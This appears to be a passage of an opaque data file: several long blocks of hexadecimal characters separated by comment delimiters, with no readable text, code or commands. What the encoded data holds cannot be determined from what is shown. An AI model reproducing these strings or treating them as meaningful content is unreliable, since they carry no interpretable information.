41b79a0dbffec55c76c4d2a7901bd6d82c2f773ad62bebfe926456828907d4139e781ec3bb394d07bb508de61b988b588a09b1527fee965baea7aa727107260972ca5416d5aa37c3a2e48ca82a4c903ed35969a396a70f8f8ccade5f855541df08e3403e8d6a80a392e4c11f07288a2c1fd11343a393690556494d3b8bd03d8659a756a38b0c5ea907b02410643c1b22ab5120ec5f2418533bba1af736c237e2976e2c8b1a95ac73532885568a452dc0eb58aee89f52093bb8d1ea921102bbc896d1cebd77ba58a7a17a5edb54a14a823c6da4dae990ce642652a2470be1dd1225a947654d0f58c7d4fb12d34b6e207eee01b85310a25d821ecfcbd6f170da3b162be84b036760a83e7c74d69be9dd2055f2cf38cdbccfaf62f746a2b70b429dbfa9e79c311548541c6efe5751261fd0f941023db865428c9eaabc872402193da8970276addecfffa45fbcb5732f923f8242621bc5689f5fa27f19473b684a0647e76570970725f7364bb2aa170b7def9a6722c0fac10844f750fa6e71d226c388cc4326fa7f5b6a779939bc465850f2f9307b9ef1a143929fe670817a18a6271c12d890bc36aa82098648d4bc93c17a36860fb16215df3a87673a698ce8907411e5ca588a744cdea2c3fc07412356e51ca5d6ab03eb8d3cbeb93f938880b91cf569b33cf6e34908f8420617b64656b061533585b3b4c8e8a8dedec411e8f758d14617fe6e51dcf5d6fa2c5b515f90ecfb9fc5c8ea3e854d31c751965592a551e93be43e11cbc561b57062ef9359729a1243b56f989406ff1f5f6d1e3431b3167ae394c0f7840364e8762c33000c2502d80d3961ec5d970b698e27e9400db4c5b90c9446909257c701f15d0c6b11662368ec9e00eda800cf1bf73b7e71a3894c9a2038ff6e5383e38f3307aa0c8f0ae5d867930a395ff7b02465243472001916b32d56d3e106224a15f06c60f509d83675e9001b325897203fe006664e402a02459340796a747a5f882acf63ca450f178301e1a3401e5c6096a6d05931977f54388607bb46f35c03d090ccf0ba21efca29d09c17f00782f1cfbf2ae309388dcfd9d70dd75e7c68722a1e9f03a5aa99d5a4ef13c9f00c249d6ff54fdd08501b811ea428ef60609ab398a5b87c5474cdd2fcfe47f596392cd5c7f01f1b3e9ed4e76705f8117c84593cbf7f08ea238fde8c4a926853741e8c79dc6a522a9869a4ccf75073dec01fcf7c6535d7ad7611ca7d1087e1906e1000d7b79364403420d90e29347e545772de44ee1157781fa57ba67cc0eca8ef4aa67b4a3327ca1d64cdcc0efba4de8c10e503b2888b97ec778e4af496d5ed57ee3c16c6492766065601d6cc5b57b9ae74e173950489fa439f3806ac5bce1d27e568f3092503f5bfdbb161f812139a141eaffec6e8b6c053a17fbf658093deaa5457c99d6f157ad2d614ddf67c26e53233211d47fd9bdd194b57213035ff2d18e27e15ed9a6988dce9a7092de04add3e5bf51b672ec5d7e43044f8e4ec65aebe7fc44adf96803a99f398f997ba0cc8a14a7579e4434b5ada11d17d2336959d4654da567f7d541105c135959395d8db8a30cdb16287dd37c6e6f445c8e1a04f834faab0c794d2da7051fb2a1e3da0f51ecbae40f07a207a3a2d5cccbca5d13cc46f9ee8c9c8a7e679151814245a051df8d5d644465675c1c9bd2019d376d98a55adb88f25e84ad37871194358f8cf351f323fc738db10d85570c67225858bf1e76229108a82ad084f2aafb0a4da9e5fb923dd795fbfe44d5a5f5ed79e1ff28ccbec2d9f7e0a38fe2f4730d09b77392195b4982dcf59d7dcc510c38cc4758b47097090da587fc9cc7e1b61a931f9ae83c619db8d4becf24b49eb21935fa4ff4c589a38c50e22a953e2662ff97c3146576ee2e2d6b65edaf6703623746b5476b74ea76adad497d578d018782cf9f6a86ec8118bb4f3bb93ff3071b44e43f4573faf0ec527e3149006b6ca26e550abcb380969de22b59dc73c2aedee73a81894d8da472ed44ff351084be187f9e5bb797874e3c01ab0d23c08bda214707fc38f6698caad29c478737cc53409c61b7cb537541d08cfa400256afc2163897e11da2d73091b4f9ffe5a9886761e801c13dda0490152af6f4414d2a26404a7a10175a4b4a676062c59387950ede579a4fa240be286f269ee68006e49f14002265cb918e4c1f8d9f9f90e07ad98f2ab2a7434a747eee9573a4a8040426c097b2325556b3d121207fcffea58eca79923ec53b0ad27029c422fbfa386f86bf4558*/
/*b0519df0035884b1aef5af43c9b1a5b7a12a3c29dc38ca1f60568120c4152b16638cad937d554fc258e96ab5c786b5267c058991a0852f10ef8a4cfcce001b39f4e81fa2a91253cc242fa80b7a2db878d3f2f8c00e314573e48f98146e62c831d837802d90e69fe1b2759fa7029ba6cfec7bd8bd3ffd8d9ac4f26dd9174484d067d39c4eb18eeffc072757a05eda764a3721cb905a7925387c827933e3ff89a17bf7a4c77fa6e4e62bf7d4ad40fd06c3c07c358e64c872700cc40bcebaf8b8406a6f0d3e0f85c1c9c3928851f7a76c2444af05bfd806ccd37ac8badee3eee0befa8c2709a698748151a04bd826fd20e11dac92feaa573e00859b6492ac487dbccdb5a621949cde4c62134a7341bb7ab378870dbffa25289e794b5ca8e78cb8558f6f3e271e81f9e399333c1129d5a629726690bb94ff126c93b042d2e158ad1fd367a748c9c1ea5ccea3477bb43d5801ee5b7ffc7d705e7579960cc2f0b2c49cd5bac74fef051e32de0cc07fe9b667b4d2a7ead702dbdea4214ffd76d95440ea5739e597bc6fe7b5dc197196c5d3b464ca1fe5d8a27a7a01eb22ba44eeb97c5bac04c6045e327c382c0b48f1bf93686a5a0abae0db4179d20769c023421c7cc334a5c36236b16d4e40505b408ab451b15d63dfa62c012209441331ae845e5eef2bff083d84145a8f4f97c366f851e5c375f2205c8ccf934fbd93477a47aa29a77c2ad34765eb4811351ad3896859ca02ddd8cce60c5856c43bd4289d72942dc8ee6c1686bdc2252629cff7cf523476875c6f10a82a69df2fedf7a1c830f8f48365326e4bf4c9425fbedee67393f7f9a4f9c691be1fc20d92eeb6b7e9d623b5b3d72d092fe82c2d18e522ba2108e05ace11a25b2d95de100ef886bd6942224e110bc544a3fd60b1fe99b1af46bc4621c297b657f1a201b5ccd3a7b42426b4edfdeedd710e86ab84940911f5516c490b9162897647f6738fbe91baf90be032e4103440f02e515d29d9a9c3961ac10a4a497fad9b581f263b74ee3da7bf53d0d8fe1d55fd42fc3bf9c60ad8c7725f3bfdbf375796d1b8ecf3f63aff8078a57492ccd3b3da754313ca7d395b81f1cac764d7a978a6135eb996c608da4869da2231de009e78eeb6b356b7da79420a770a4e2464c4f75946dce4b2fa9177e8e3ad4fd9bdfc2ed462fb934c05820773133e670c2df8447279c431bdb998f752f7f3244b18939f87f5e200d51cf4fbcdd7910944507dd786beffe7d8e7a929cdd211fe164f3a17f60c7f51fca0b6a0ecbcb584b60273f98c9a3447c80ba82c3dcfa5e827d67bb7df0fef7dc5df7a406b71858161d5e5f1e319390c573ec38a2c3dca913705c3cde59efe3d0e7242c56f205db2f1f2786b1bfb46cbd0b9cd2cff480f6bc9dae524f30d753077723462f274165e1b2553af459f3cac7edf26b4afe63cec813a3cfc7faa3d30425777da1da8d590dc6f72ac89cf1c19e1861e78d29fc0de7661f569735456bbc893d6e5f6a7515304d4613035f701982b3d31082fab7d05ca4e977e2b86d1e6b81fb46deacea8ff71bb63d814d94368c2985353bf51b641b9dce78b444ef75aa39d75d8fdb8e38272a189613da532559fe22b90040612a85ddf3bdc88abd8eb76b5605b69b13c9c162406ee269ee68526aac57ad203c762ea3a4fa3523c2bf22e03a96d19bc0de3991d65d5ec7550fdd9444afbb146281b6a69a018d10e7e5d767254dc91f99f4e3ef20582d97a6634f6e6baf9587a738ea71124ddfb9199ec7a1bb7ffe312e14a954ffaf5aadfc7ce690930a5159b348cfb8c192874f462f7692a1c54c9bc8d347c2b3f92d1bda32bc1e4898a3eca3ea16f89ad243c7b76515f5206f889550270bf4f5724d3b01824b418f27963f523dc27b2c5207ed8f31f44123c826ce47af823d6f139e3ddbad6b6885ace8843f1ae9f8bb98af2c827cb98e5a54b1e85b8cab86d00a696acc9f975abe381749eb237f753227617e92178725fdb17c2b9eb624594dd69cf97735fb5c19161e95bae39ce54104b82d53f43727cfdd749d9f9c8819877245071f7497c27b5cb999a960cecfa9b9deeb251dcf071111ff933ff219d1c34b2e7edce3abaca647e2f2fe8cae3e428f064043a165b993d418bcfc0a1618f26cda6a618cfe90c37683ae7a9948ba17fc9cc00421c4109f2439ead4f63bbcd77df6e3c4383d0944ddbc054207b14b5a19f1a81305999ef8d46f029f8e27ea9821a244f7a62648680e4e9d92fc48de7ca32b36e3b1cd588570f1c3f010d4a3aa1a06d5b04b948f30e4e94ec1b7c171f43c4030331d4d23f95850e579b8ef5d82b3461c7605692f1d9e4c1597c0ed41f464f27369b68637accf9d67c5a29c6ede093ef7d1f1352c3bca52c4efa286138c78835ec22268ce1bcf5d22f572f0ade90f1c11eb498f749ac3d791e28d9fff1a8a26e55716f031b50d4d02ce6d133141b285cc4cc70d583c6a0de587ad93e1e23a6f318ea0b8e442af0fe15a66be43f2d169764cfda9fba71c8340f7ea284954021703aafe7b82ebcde9fa32f49a342452f3d70174612699da1ec056f70535513dbd02a0785090ccb1d52f2f9f8bdc6e8d7486043791c52bf644ce4ae7bbfb6367c140aba6de86beedea94e56dd73c8cbe315df8b63a1d443ae4038a69197fd2cc17251928ca22dade98adf5c45d77b4746f8a8302e32d4a3c55ca2df7f848ce153da73b4b4c01953e907382506b95abec38e69dd0d6113abbf219c13d079b775074a5eb155f95f4f10081f3cbf87b055b3c93ce043a21fda9747bdc37f4536e5ffd24b74bb9568800f22601f0739*/
/*f51d271fb4395f54948915573abe5b2582a857c7fdb6b455cdf602cc168da9dba3abfa0de92cfea73904e54a465c3701fa207d495ec397fd89454ed9c681052aa6d2289167b34a33ea4fbd30d5c9b1f9e9aa32a19ef0edfd7fcdd90cc87055c13059659961a94592cfcae0a5e0f7f73e4eac793f83ba6753dba814d0757e70dddff8356b403b764e46558975dfb59803f9e1420fd57116edba261202f7d7631be8a91b6411644a11f68f79586707a9e378946033d942cee43f38246807b6d07c3f95629d539b218aeaf935900d16449d40d250bf22bf15e19d354ec0c34f3e2a5520a86a692b12a86fe22ad71a3fd8e5e91951412edd8fb6c453522ca95065c41de10aa689bbc10f4b0bc9b9f875def585df6636c1ef2adf6816ce64bfff33f037d2542184d90d8479b57e614e33171a4f092bc63c14ecf7e12d6d1d5c891064153e6a76b14b6b76fc0035d2a6d7addc10af0fdaf1421c9a832f056a879d62dfb92129c5351a258515a614efa9dfe07a10bbf651fd099abd3e1f058bb5c4e6cdf24df4f9fcc31aa387407e9ddef8c70c1b4c4f093426a2a778f1f55e4dd54dbc39159c11a56a94a1b7cc4b3f70bc1ac760b9d310a750f15fd838fb24233296d467c84026922d178c754fb55d871245c8ed5e0cbf4069346328ccd4a7f5fff7283804fa1cd60087b33d7fb81e61e84d627964b5e709ef94bb1642de53dc4b18f189d021eb1bff27902f7f3c44c511a7eacca50ee97dee4c50d4adbb8058fd4fd612aafba241f0456a2797cc03fd63d37933de30b1d7b20335b6025deef71ad7233e4cb25b9c1d4c761b009f0a766401e68ef2082d5229f74854ecfe5055a9f24654a0bd972fd90d8274b5fec94a4ed3af45dfc27773e1ee6b0a0c053e9e3c309762e4f44efc523ba02da09fcfe661a923ddf23d547ed53233c82a3fdcf314d5279ca1289b3e096fc34213e608c5e6e41fa619a3df78c94e1e927512651f74444aad0279be28d46bf7b91b3586b29144db56fe2f22d9f65b1391bd207c63d2df4dccfac3432acd40b684d3814bfa9b72cbb443f463194a89a771d83105cb221d798856d07e4d70ad2fca29ab9fa0fb001ca20717220b3ec5e4bb466606f005baeac86539fc7e7f5480412b981d6b4be64d1d17ef202b19bd89a3c3199802f36fcd0709f367a3bcbc3264d7ec5298921adb2198bad50c88539995dd7747aa13602c4260ce27a54a09439756089b78398c3a33432a6b5c95631f371208ae1ba47a2d3b8485160e947d26690fc0a4e30b041abd52e4b6151b537ff088020f5f474e1c7166153dcb39a0804111795f38042009858c35629076e910bebec852520b7ba18fe278a035322335d963970948d7c9eba6cd13cbced19d8de8893e364a842020d28040b556063351bc55eb1f521cbc875492b22f8ef2343fd1a315c28ede2fc477cdb503fcd1efbe4a1b0158d97d1a0f2ea781e2d836a44d2a50107343f4bf924c6697acad65ea93c9f8e9e376cf915ad65c06cd28ad6cd7da46488d0ac96f7e18b258e596276bbafab6d8ed7c6fdec299db897c6d601d05b5a208dbe77af68ccfb722cba04740c32bed4d3eb7de26cd0e29cd808f897d89f844251dab292cc9e39a0ac834cf9cd447dfbc7ce8a48972857006f0e77abb206d650e05d5628046b1193b935a24f9d135f7946957caffa5b1b8bea53a72b6c2fff32f8d29e28bdf4232d749c78f69b056c572f102f6f582d34b5de6de3d0120f183133378202592348980c7af3122abf48491f64fbdd4b1513395873c43e56cb361622ee5fd3e3bed464d750e9a42c4a57fe3ea01fafcdccfd991d0f6a8b7870e058362da43ed2285616673c751612d075b6353c555d759339586f26270edb79e3c2514aed92f73ddda2f3727bead3d519bf4d7364dc486757d5bcd7a87fad6f2693a0fa8fdb3c9d2b07aeec2a5f7e42b4b83a2f662d2f170133bab6dbbcb4c9fed2fda3c244b56c276a96c0158ed475b272708281e3d24ab2539b32324fc1fd73fc37387ae0a6dc49f61a5720bd708ce008aa3a5478a209afdc4efdadb4262be1543f69f3bbbfcbec3958a2108e1060c41f392287e77c62e10ec0aff0a30e74a82ed30d0ea37baf13809eb04f0c26f8503e0b7448f6241c61af37e729c2fb95f9d920f6888f1f1be9b58c3660043e2dbeca8af74f343ba1741d80763f4cf47fa7a50b6311f57faa07a299321d3a55f0c08e4b62b9ed7db2acba008332de81d11eece9d9ffe7f297bfbeb5b2456b5add696d2698fa755a4bb34d4f99496460185cdaca58ac05dece60b05d4247dbedc13ff67a0ce941f44e8c81a43ad12277610101db712de946ae7610bdc9d73db0effb12a50a5ae641309e9fba704e8d3e8108348c5cfec4ac1e58835c3b60ae95c0b426617c7ba2f59a48fbfd074e7ebfa7a19ae060c806ebab8cde45ffcf3c75c141930359c24742a30ca969d018e3e49ea466b016160c92a1e6d03671b47f7285d1ec3483b7302a2d2a40eec33ffbeab9fcbbec69a4fdb3f22f616eb0595c1470af7a8d87664735f27cd428e34834abab423eb8c1e97563d0ad14b6796fa4dbe5cec44792de5cb052bc9aa54ccfe14541a2a997d15d2f2bb8ec620491e78f9f61af869edb0545e63aed2f837c039d5efd11836b506867db0d2356e6a5729f9e2bc531d99e5847e41a0e77891972f44f856c8e205af961ff21d15330de74312d980267cab458414ce8d5f8d45d53a053812174f935a3f6d8a7ce1801e7d5614fd354ef110417ca1b8b9a188d81ec0da28454e0e806797f658b22f1dcc1b0f00a198786d8263655ecc*/
/*b129f054ff2a6768b605636aa59c5ba36c2d784b1b3c1191f4c55aceb6dc6dca84bc40a42db860c6e28acd6d323faf06e06c9ecb0d13b27b8ffc982e2b83e2a214aa8f5f81b4d1f62ecbb268530c39cf00d8c3f360a1dd7940853064f3aef636cfc3d3d37ef4d8fc315aa9664cba519a23c61a814a245c217332e7a55e1dd97ba064da12e6df168ad740be5e3282599a3c85eb8bab9189ce0a045b0cecc4dc603632b5e2f75a1de84bac11a372c651b99654fe909b9eba70aab2516a324e147dd7c7d7c15a98e9cabf622e033da3c67f5fe0470a66005b6b2da61772b4e16582330a99faa16fdcbd29034b7cbfd6d51ea840a5f6b9cb681af31ce4ad51cb843999362e99df091e26612b7344d308ca6db5198a50351ca124113ef42ffdfae48f1ceb04fb03d583ce32e8cddbe5a6d4f228aadc215615d60cd9a311c1cad2a36b5c4600c99a324288200051b8260c495e2b316dff2a0e7a401b53a4655ced70367c0ebbab5c45d1d021ef6e089319d1a4cacce988017ae15ffdd8301034834ed40d76b3ce0e8e88edb6f70cb7671f4a69b2d1da61e90629a2616806b7ac9956243bbeb1a66c8ea8b992d26d2d6a43db19c4ac2000401c248ae926bc3f0637384b53d0c631c42710ad7fd13cee1cb9f741c392836e53cd79e84fcfb59a323a9e14c2e35cd218230697a8e4ec68dbfe24015a6b1d589cc1b725c1d61bf2de02bd9e38575a3f8e188d9e89753336430e01fa5cb74a9734b3a6f9b6bf47933f30acdc5e3be4f1e581f919dcf8049b499af7de0c18f24ede8c5c8cb5d83b4af6c86a48357334eee6c4e0ff4f243280bee19d93a94165ca938707dab7c79286b93c4fed3663d2c0b8ba17926c5b9d7f1d51a2802b2f05a8206611f029a65b3775fccf06c3cbf69c6672aa1f306c5491ab8cfb6476cf37f42d1fefbe18d9c70f1aa1b25b18ae87fd03570168f8694d1c37b600835424171953ee5d28961e48c8121d8dc4bdf4181677ded511c0d86b18ee195ffb850175aa6fc7dc1cdb0ad1d59089415f865b007c6e7c45925f40d0bd6b2c645ee7c3323bc5d633e2f935706338be3fdbf509d0bf66665bf001f5133e39d951ac89a6369f4d5bde5e9f29c72500108353981682ab481d35a95539f343aeb0d1e3eb9f18ce1e9c6d3053ec1d123a8fa38d4c0cab72d651b4788b1cc2132782f56b0e52252378b241c0ec63eb3e9a5b8b867366f7b6a4e8d646e33261d9ee23fd086bae4eec53f3d4479c6f07bf00ba706dc18e54f052d3d6b58fdce897ee4b884dca51244d6e2aefca6d20db7cea12721dae6c586eb1f38e5615024cfc9906d79aac04920f626e34a9440d2ec449825ac79c1c870933da51f10fe79b4a9ec5b4f412b1bcf09e7fc7b0a959c87ddd16480d0d539e179751f136d0331f4eb0e4f3e17d0b1382e2f855ad8d9ad685475a2cbf7edb066e2f4417be569358a5626227925152bf882a150b39a17172e20b45eed2750a32a66402e889ac46c59a97a0280b4bea76419f84d6ffbdd19fdea491186bae9e1ec1e6d7bd74e0c8d4eae19c52dc496bd0e08446860cef6ae0ead95e0bcec4a25c095f62171dcfe577893303b39dc30faa38dbc4e8cb8fba502ef2e2d5672c5e374afec9c63456a1100338f63b55117f01787e789bc727529527e6d935b87721d96dbb0b84fb201cf9f30028db71d010ee078894178cfc744cb18697daf18fb9f62c1d34f938af980b9e7c26f66ae792cdfc2af4e41f68967c03b5f01e0b9631cbd1b5d6a0466f1c1e8a5143af5f33510bda45cdcf932259eba70bb191507f8e1d6ea3d07fc7802a361ef8c7cf08d5a9bea1ce289f0d3aa2fb1c9d7638af980006c9b0b7e3e813e5ca9f1397dba4b4c46cab49f199b9e0d4ae7cc46497500ea060130e076defef17a2c4fedfdbfbe5147102699d900df4f6c0ac5742d6109eb45aa8f19c4fea7e9f81106a3fac810b8a5f4e4b7e4131909daf0e03d97f222991e608bb9c372aa1eaca622ff79b748f2c7c406c1a5bc66d5f65d7312e250f90fc6bde95edf079d33a9a22fe07a1bc61607ea2a866f1b40808f77a22b89bda6ef0ede5eaa98182d94197ca655770269dcbbddb9e19601260a11a76f2547189ceb663b02a81c4d92013739b8115490780707b5ff0de4487c70c944658055edcbf36f030b1d8b9453e04dcb8422995e71d3d03801f37636a12f74c2b5fa17f71af1d5139b5de36c5ca14350686fb340c08662c6251aed79602e10c1ae2c31aa576e9bf2ecc4a01aedc9c189a98fb39635f7b7e21d73ec81243cfc568d7553e7719671a568e87ed0c5326881c77b487f88b12332d7622dc37b85f0c9e88e374275fd9b29542d6a4d411f6bb04f7b19ea85eb73d1a7de1e32a5ce313a0c84e0d3aaa54c0c9f73f3935c961f806ecf0e1af40525446eaa5865c2e50ec8a5495ca1b5df33a163eefaacf7814dec480948b3905056e57c39479f1c9dbcc8f5c298abd2effd3ba323d84e059e8968e7b8711b02d91291abf9fcae3550110c8b8438423e3b542149f47510014c868ddc5b0a94db05ef39871cdac2cdaf468857351d0e47f1cda00fae329972c819938e9d73baa515a7792f98f4f19f5660b4d11f394b81d0fd7043e42318614b0d4661f993032c72e32f6882047e2013b3a7ca28865bfa13375440b8c66c57c978b4e9793c5d2414a99ede07a49238c5bce551d0f7cd69ace8fb5bd1cc9876895c43c622319905b712f37af4ac24a468482de8610a2992251d850a89b11f723e3e1aadeee7d1004ae27b6046b993c707fd82635e62b21b3ba788994786cc6e395e8c4f592ec99*/
/*0415c10c28d1af3d327212933f75694ca88b9b9a60b8e5e216f5f793a6e4d7f495beaa6b9a9d950cb410cccd8dd8daa625b2c4ee893231cc4fbda68f34bce5930204c576bd0eef5debc739fad1046ea9df3831d53450673a80553909b4eacbd2e0e9e45fb22fd2704edd99e2f159ce4033a6ac0ccccd4ca2e3f7af69fe2a452f087474063f663d3d4af392255ed08425414e06af94f7e919b4408fc72266a9f195d7eff0fed92b4a3541666c590a50a2c0eed7fff0cc3ca986afa45e915de65d8bc7b931a5688d1d364d0c3cca0a42ce38dc7ec3b6933811b074e34ab7cfcf64ee22bd5065ccd0a48a946ab3d2d50b24b6f6ba4e6886cbb7dca5a8965191c2b73455c1becb50ed3813b33b99c1a815ea38e77c871414654bbed940e011f49ff3d8ebf2a5914fa87ab6d891be8790c609e199f44ab48351884623f935477258180659cf74d4297af0e758feda712887ce696a47ec91efa8c529ad91b2d22ace828ab828dc5ded1c0cf87ed98cf295dcfcfb035b210b3bed2bdf58349c7cae21f600814c15469f16825af5cdcc8c266ce05fb8781853556f1cc2983bea3f4e57d45abef22ceddc22a388f8a8382c5f5f3c4aeb3efe8d4e22119f79fede8e0ba66653cea6ba878b949f57ca40134ae089bb3e5278353d86afa7ae001143e01769c6eb766caa5d2897e12db2499db1a8148efb18c0cb7cb39e38111e81a546c99893121073e778c44c458207c883e705967e3c926cb2d2838f041a1ba12b1c7c36eeb35f43b2d40f6c8b56de5e3226603a310a68dbfbc5b7e727239561aa2cafe2b24ae5ebb4e2e3e419c722a2372700ccdf3f9b31c1877e481966cf2c80c8ea5473ddcbd1d3b1e74186e26e5cf12d1bb6b25daaff76d008d2a68e1345b304d390d3765b7e4e0f534a5d3fedeb030cb2c70d625654355a080ce2afc0645f3e244b632e0f2db3cca4ddabfb3822476402051e1bb9c254e67f955dec43a6684d6c78adb86d522126162ed0ceed1ed1a48b3faaa809fe9669f80709abd46d6dc7c91e180924c1ddbb9c563711ba9a35242985d2fd42beae0886f330c11125105ae4f1e4e915b5ecbf3ad107a391271cbb04a98cc7d964e8aff19c7c9ab09df5404450551db7a387927ce968fee78d7a5cd82896538001a58e98501b465e2e2095577fced3b1201a895f701d5d89635ffadb95cf60b9dbaca074897e0ea072e93e59b69ec7da1c99e4fadd9a27c1cfe58e940e11057a7a3c14b7e6a2d3ef8d198ff9ef786ce6e31dfdb9e29e4e59adfbba79479c398a27bf8a05222285fafe69b6c1eada81713c02617fdcff71d5555a834e122785e73ea9d2e3ebd39ed70176958a017789a41343690330fdb65f7ef7de93a28e9de3053b8afad1b983a2072c7630bc58bdd1e66d8adbd119e29493de8aeb155384f6509bd0aba5ed8160336951171441649ff06bb4610827704d564d23ea8faa888da78fcfeb9d689c798f674072f2f34b7927d6aaaa7e6e5e729c45eec4483e25c1b5c904794a4850e4a328fbb508949ae492a671cc50ad4d0f2c6d10b5d983307306f94aca89b15a45fa9ceb9af61ed89c079ff76f85dc206785ddb32600cce84457416b3dc1a289255d7f31ee275677b9c74db5440a1aa656583831cad2bdb83f445e003c8f3b11a0afb9fca430f35920f12d5a84d2bf13cdef80f62d20d38cac6e42ae6690e417c78708348c2346ede71154d5968af064e6fd440c8d6756edd9d3fa71c6bb26c4660212da56d534fcec9c01efb5e374e375fc2b83235b9616581acd96cc810bd7363440588cd4f7ae8e8b428c2beb47eee8cd341bb660174b9a3102d911e1e2f1954da6e234e340461f6bb3cbea90cb0479ffd2e0fa470a2d316cb6182fda921c1a941a95626fa396d3d60ba14a118f26bcfea0bd0ae799620ff3239d068608eeb3bf791bb030921f6a8028f7d624d8b19a5f4964c6e0ad1f6c9c0fbc12a56d8f03f9493e08dc380805f4a91962d5b197bc5696b99d2b50e195577304ff295d93d0154e651a073e365f5bd0a99a0481d9de05acd6b4446ed835a6c82e70ad9029a0b08f026be57498592a2a7fec04956da9c42ebc2b52df72f9917f0c2fad3c3e17960082644ef4eb4ba249ae64b82cf4b6096c3fb038ffe04ed89e41ce4e96ff0706d26740a28a829051d3853b815e9351c0e51a13f6d3c01b67000f0714e9da76c62b7d11e1251b5669d349cd21712930bc6370d2ef0e856577fd77f126a281c68caff7426e6e9d9e44c2e80f758bba17900b9ff689b13b0e00391a577f36198df65f189fb5423d54fcc61896c3f6476eb5d463a42114a717c0c1b38e1116c0026a17c9bc1661fca4e251ec2f4a011f2172ea1e6f918a1af73e0f87352a45ec4b919258f00b2f6303825aac1f711488f30fa87ea57229dbb55881a9c75c0e5f9101482a90e1ca7983910d6b2b187ebf4fa2a7c17b076dd9ccbc91bc6ca2ea6456bbdfda73f3111547d2fb9e98a9e6e90e9847e3b908b685a88733cc4219fc60de8b35b6e3714c4d86ba50f73af0b0f0610b8ac0e2637c2368473230ac7ffa8738e27b3229d8de0c16f58eeba39ff14ead8b562e1560d38573079a890108b6092eabf28f5f0860d26389a58ae48435a7d65c529bc7ebe5f236b3a92b92b740f016dbbf451d8c3aee9f0fd638bdc0fd39874eb761c7349508c37c6781d7badbc9a1f9953074d4ed0d9c7c27a47e7bfe88d54f8e8092c92460b9919efb2609aee0cb4749a86d47e58a43b973c9b1b0ebf350dc653cb6e950463530518317085ad3c74f7fc51dd078e55029ea0623472248fcf07492e385ee*/
/*0aaf76fcfdd3818db6c5cee63724df771fff029f0fb8ca950ec9ea5cd18540ae68788f5bb70b4ff3815d8fd064cb86006f65c131655ba912b5bcb62865c0ff6800e373e3c7ea9f74a419db2d52dd87258be74fb6c1838cf857b401d7bc0bd1cbdf9ed9b6f75aa4f6b8d6d10e78e0af02bc328393419c824e210d9830fb1306b2fa149a88bbf6a12997bd666789663dcea05234b848dcb39539b5afdf98916ac5211f146ce07207a07ff3032ae6f95a8fc982a070da1999c8fcff000d3cd79a21afaa6c4b75ffd5c91b513431d1361d4dda6bcd96f8df2485a1f5166ec382ff103d832c42ea90de28bc3a6b304496d2048cc8bdd4895e7d89cdc3e803060ee48068ed058ea1c186f850a645198dd70a87c6b183fc494929cedd68b651c9e0ee66fc2218e97525405ca51668fc9aaa99b89f76d58a8d887b1d0f2499d959fc7f2245981e549f7d32115fa5055f460946ea756e22fa534f631f4ba29efdfc6632c78337c69ec72361f7037b9c3cc54d99c9db427686c8e847e6d8f4308f2df7adf7aa0944d5c3e35088607af4d9465c2ee15bb6378e2a3ef43fc3fb16cea74b6787d2d23570b1a66224ee6f1e36c9b7f9bc355af0ac33fc27ef590069fb17b039d698e2ae2427af0001f5b5fbff80325ac13b78ecf72a0f65e0901e98a2868555378a91ab9a7c24dfb22a0ca37a41458f4efe11f7837c63f2fd84ca27f26b3f65152e7510b25aafcc25e20776c1bdf1e7ec916ffea9782d657cc501df34680fa5a17f3a453888697161626890dbe4b32e28176e87abde51234bbd4c7748761b8b9a066a61d461405ed2e95515fb03e480af245563b5447fa3586b1232bf0627b71768f526ab8c9898ddd91a5fdc843f7b5a492c179ba4ed7d7916822342bf2f4b4d161d4d2d0052707b33fe3bba2db3e4b676e146bd33f25f09ffc1edefa851f45b363e8198e1968ef1897eadb6cc3b606960e284254bdce88c44edc90a6df4319a32164d09e33fae713677effbf2321f5def71aa5f9f822bfd9d42cedc10d5f9047bd1a219cdb23efa9dcdddfe23ba0b1732b0c30ea711f4d3f3b7ccc036743ea508bc0881ad89c2e8679a2b80e19c78c9268ae2bf3ccc2c92bcf19bfcb9bf0760e31995258252ccea0c8e8faacc400b41af082faeee908fde006d77f005821f5748f295af8a5f7792238aa0c03c05d64e194f9b8462ca6d70adf06abb4de359de8c88e59e7dbb9dac70f1a981af11d42049cd54d877f49a69aca376cf97816f0faeaa717ba9f384a69a7ab4ef95db8daa29eaf02637f01167b2c5be10c497bb56b8b414461192bcd70867bd4dd0969b4974017651afba759f52c226a2ad544aef1cc004406e0e2acaab529611bc7137f6a4ee22d307279f7758cdefec2be5fb0ec714883d477ec10222599d56431fe4aa5dfdb569afd6c12d974c6292655982094a772754fb2b2d61896e824e6f6bc391c9726c94cb3b1eccafad85a18c4e690482588a23e0e9abfcf4b792af3af35e6ae993e790fb87d19b5b91524a437ccda65f59d7f72ea5e2e9984f21f316f2ed9b69a247d19fd1d28acbaf2415ed82e17e923f7fdc28e363b15ca5393e83d8a54ebbb0a22adc32f74ecf318ecb0ae6c8a08da2e0e75c77af93c0bddc477aacbae63b44d51ce93d799701b395f5e451709cb6a17be2fc19c0862d0970bb914c641131c6e6ce9a80cc52da6c61678965bd9ea6cb05a64b8f26741d8429b684f8ca39c607f52b372ad64726a140215dc3471f35e3900ec36405eea5bdc9d57c98f5b1b82795540bf19f342fab0fcd6c194e3ace475578fc76b125ce5d2dc0814674e965d5cbe0c2c4e39275e68882871e7a9c68a1c40f2aeb973cbccba1b649f803378d76353b9c3bbefa3c280f72f6e3c3bd6efd6b49021bb46984ed94c01964ae95d424b146e1f6a1015de6e3091af7344c673476b8be775c01ba95f773e175fa851ded0e99ffc433df56fcd0ebd420452f98585fa3cac7e737158f1b41c9a8952840eb5d46a6cb56f3eef10d0af468a3b79f889e070614652cefb4e86863d781ae16e6d99b9839dacf4d3873b498e35a1c942f990cb611e07912f6e320ca44eec4e491c0e768618014d763a393335c6089b366f3c19a7dd6990860a05460036e4cd619a452ddb31d329172ef3b33149746d41d15efa98a24d196938625c2ce12fbc0df28cd2ef6d7569110c466e77efdfb81f46417d57730fc0cd095c44bc9ff264a9c42ce7c310a37d5f314bde3dce277781a445ea05c345b23e80f6c1838b9981045c963014c3f2f6bab793611342e2369328930fcf317261ae39e9f9dda48311eecc8ae9e65cb52cf6a647b9041c45cd3a6bb371fb2f3ea6a8909d4a90dd1fafe6fbc9606c77db6658142ec6174ac656e08c856196d0a779277b51824fc6f0deef389d5a15d285cc4b7c8d0a76da4291f06ea15856340357c00be0f5224dc71fcfc396fffe98ffece679db6d49ab9f212f65b16a253255296d82b9dfde6cf8ada1aaaa3cc998e8b7e159c817ebe4a2fabfe2f129819a7f09c341c22eba2bfb79d354dfa946cfd5da70fbba4b3b941773164498ad02021e75fd5a1c02a137edf066823d1a5caa98ff14a4a5